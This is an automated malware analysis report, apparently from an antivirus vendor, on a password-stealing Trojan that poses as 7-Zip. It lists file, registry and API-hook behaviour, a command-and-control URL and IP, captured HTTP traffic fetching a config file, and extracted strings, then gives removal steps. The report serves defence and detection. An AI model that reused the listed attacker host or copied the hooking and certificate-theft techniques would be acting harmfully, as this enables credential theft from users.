MD5: 3ee8b5d294a7a79a80dfb17749b25f8e
SHA1: f4e90d83eed3b54a56db85c97c80f51b44ce9751
SHA256: 9ceda7b2d80cd3e94dd7161d4279903091ea6ed3ad414715dc0c31de23011c4b
SSDeep: 6144:A3SIdDTIRjhx5xq9mrzBJh8RsZG/cBbJ7M:KSIlURhTxImB1okI
Size: 319336 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2005-06-03 02:13:12
Analyzed on: WindowsXP SP3 32-bit

Summary:

Trojan-PSW. Trojan program intended for stealing users passwords.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

ekboy.exe:3144
ekboy.exe:136
%original file name%.exe:3248

The Trojan injects its code into the following process(es):

Explorer.EXE:1948

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:3248 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\Gouk\ekboy.exe (319 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmpf5f6017a.bat (177 bytes)

Registry activity

The process ekboy.exe:3144 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CE 04 28 C4 25 A3 8C 40 AB 70 00 9A C0 EA 6A F9"

The process ekboy.exe:136 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "93 A2 1D 87 1A 57 46 81 C9 90 72 E0 15 73 91 87"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

The process %original file name%.exe:3248 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F3 63 60 6A C4 EE FB 9C 38 D2 BF 60 16 9A A8 7D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

The Trojan installs the following user-mode hooks in WININET.dll:

HttpSendRequestExW
HttpSendRequestExA
InternetReadFileExA
HttpSendRequestA
HttpSendRequestW
InternetQueryDataAvailable
InternetCloseHandle
HttpQueryInfoA
InternetReadFile

The Trojan installs the following user-mode hooks in CRYPT32.dll:

PFXImportCertStore

The Trojan installs the following user-mode hooks in USER32.dll:

SetCursorPos
DefMDIChildProcA
DefFrameProcA
DefDlgProcA
GetClipboardData
DefMDIChildProcW
DefFrameProcW
GetUpdateRgn
RegisterClassA
GetDCEx
ReleaseCapture
SetCapture
DefWindowProcA
CallWindowProcA
GetUpdateRect
PeekMessageA
CallWindowProcW
GetMessagePos
GetCursorPos
EndPaint
BeginPaint
DefWindowProcW
RegisterClassExA
GetMessageA
DefDlgProcW
SwitchDesktop
OpenInputDesktop
RegisterClassExW
RegisterClassW
GetCapture
PeekMessageW
GetMessageW
GetWindowDC
TranslateMessage
GetDC
ReleaseDC

The Trojan installs the following user-mode hooks in WS2_32.dll:

WSASend
send
closesocket

The Trojan installs the following user-mode hooks in kernel32.dll:

GetFileAttributesExW

The Trojan installs the following user-mode hooks in ntdll.dll:

LdrLoadDll
NtCreateThread

Propagation

VersionInfo

Company Name: Igor Pavlov
Product Name: 7-Zip
Product Version: 9.20.0.0
Legal Copyright: Copyright (c) 1999-2010 Igor Pavlov
Legal Trademarks:
Original Filename: 7zg.exe
Internal Name: 7zg
File Version: 9.20.0.0
File Description: 7-Zip GUI
Comments:
Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://megark.com/yeni/http/config.bin	159.253.36.212

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN Possible Zbot Activity Common Download Struct
ET CURRENT_EVENTS Zbot Generic URI/Header Struct .bin

Traffic

<font color="red">GET /yeni/http/config.bin HTTP/1.1<br>

Accept: */*<br>

Connection: Close<br>

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C; .NET4.0E)<br>

Host: megark.com<br>

Cache-Control: no-cache<br>

<br>

</font><br><font color="blue">HTTP/1.1 200 OK<br>

Date: Mon, 11 Aug 2014 12:25:59 GMT<br>

Server: LiteSpeed<br>

Accept-Ranges: bytes<br>

Connection: close<br>

Last-Modified: Wed, 23 Jul 2014 22:33:26 GMT<br>

Content-Type: application/octet-stream<br>

Content-Length: 34414<br>

Vary: User-Agent<br>

Connection: keep-alive<br><pre>).u.. ....d...pS..b*.;.z..<.X'.0.W.F...........u.......))W...f.)...<br>....c.X.Kk.........n.@.!..g..r.b........e..^.8d.......C.mw....<{.$.<br>[..!......./.:[email protected]/...ez..F........< .e......i.........x.Na.Y<br>.rM ..6.A.d..v.K.C.|3.>4e......y..zp \...>........S.`..-=..&....<br>..%F..[........vQ;c..r......(.r.i(r..<T..5.....s..2%.....|........y<br>0o..n..C.?....L`....W.8.......:#.....`.....%K.4........o....Q.$!.n2.R <br>.....L.....f.a...e.*..`...rO.:..W.6..k..x(^..xgX...-S.c....fT......nLe<br>B.H.U.7g.CH.<O{3.$......\......<...... `.F{......]..@...........<br>......#b ...'..c.yz.|.4.v.V.....$..|%..W:R.;.....cF..1.%)A.-....x.....<br>G..g7.If...Nu.@.~=U.{.%.3..q..(..AMy..o.wLE....._...o.Y.*.[..h.Y.....M<br>...........pJ......'R([email protected]........)..........1z.....<br>..~x..bcG.9.l ..u..=1.1......J..)....v..........5.(.PQ... .Iq.B..T...g<br>.{wv.,.......J<.J.o..L.....q.j.X._..t/N.w.Rh.t.G...4......9...*3F.x<br>.....5 ;.E......CX.8x.........Zg0![.1.^.....|..a..x.TH....3m.J^B..<<br>}.........Y06....`...a..y....?.......q...jUp....N........[...#.^W.k.\Y<br>.[7.).L....L.M....u...A..i3".Wp..dEX.|^.#..e...G..2D.....G...<c..3.<br>.......&/9U?....#..W..n.......)V..&-|.-.A..........]..O.S..s..`4......<br> k.u..&..X.y.k.a.Nf....I{..._.....E9..c..*..._"-..5.'....W..E~.8!...'3<br>..;w>AW...o._|......._.....B.w9..q{.j......!.......*>;..Q.....).<br>......J.x9./....7<.. ..r.!.R..5Kdb4.....q.s.D{h...U.j..&./... :.Tx.<br>.....~.........;d..C.>..30.(Ix~..k/.k.(:f..R.......r.n........K...$<br>.`j.....L<.....8n.._$L.../..K.H......re..2Z..../o./.N. .d..D...</pre><<< skipped >>></font><br><br

The Trojan connects to the servers at the folowing location(s):

.text

`.data

.reloc

hXXp://VVV.google.com/webhp

PR_OpenTCPSocket

gdiplus.dll

GdiplusShutdown

ole32.dll

gdi32.dll

: ;2*8.>

3.#70!2)

x#m`a`cmddt-

6 !26!1'1

7"52),,>

;<)?$*%,

71.(5;4=

(203,2$0

/?./,5 <

:>(<<44=3%

8%/<8/?)?/

%/><!8?>!

HTTP/1.1

userenv.dll

del "%s"

if exist "%s" goto d

del /F "%s"

Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1)

urlmon.dll

cabinet.dll

hXXp://

hXXps://

HTTP/1.

SSSh,4

GetProcessHeap

KERNEL32.dll

SetKeyboardState

ExitWindowsEx

MsgWaitForMultipleObjects

MapVirtualKeyW

GetKeyboardState

OpenWindowStationW

GetProcessWindowStation

CreateWindowStationW

CloseWindowStation

SetProcessWindowStation

USER32.dll

RegOpenKeyExW

RegEnumKeyExW

RegCloseKey

RegCreateKeyExW

ADVAPI32.dll

PathIsURLW

UrlUnescapeA

SHDeleteKeyW

SHLWAPI.dll

ShellExecuteW

SHELL32.dll

Secur32.dll

SetViewportOrgEx

GDI32.dll

WS2_32.dll

PFXImportCertStore

CertDeleteCertificateFromStore

CertOpenSystemStoreW

CertCloseStore

CertEnumCertificatesInStore

CertDuplicateCertificateContext

PFXExportCertStoreEx

CRYPT32.dll

HttpSendRequestExA

HttpQueryInfoA

HttpSendRequestExW

HttpSendRequestW

HttpSendRequestA

InternetCrackUrlA

HttpOpenRequestA

HttpAddRequestHeadersA

GetUrlCacheEntryInfoW

HttpAddRequestHeadersW

WININET.dll

OLEAUT32.dll

NETAPI32.dll

6 6&6/656{6

cGlobal\XXX

nspr4.dll

nss3.dll

SysShadow

kernel32.dll

"%s" %s

/c "%s"

%sx.%s

%sx

%Documents and Settings%\%current user%\Application Data\Obiw\wubiw.osh

%Documents and Settings%\%current user%\Application Data\Obiw

wubiw.osh

Global\{89CFF0C4-84D8-809D-A99C-BAE73E99E287}

%Documents and Settings%\%current user%\Application Data

{1FB442E1-36FD-16E6-A99C-BAE73E99E287}

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Scan a system with an anti-rootkit tool.
   
2. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   ekboy.exe:3144
   ekboy.exe:136
   %original file name%.exe:3248
   

3. Delete the original Trojan file.
   
4. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Application Data\Gouk\ekboy.exe (319 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmpf5f6017a.bat (177 bytes)

5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.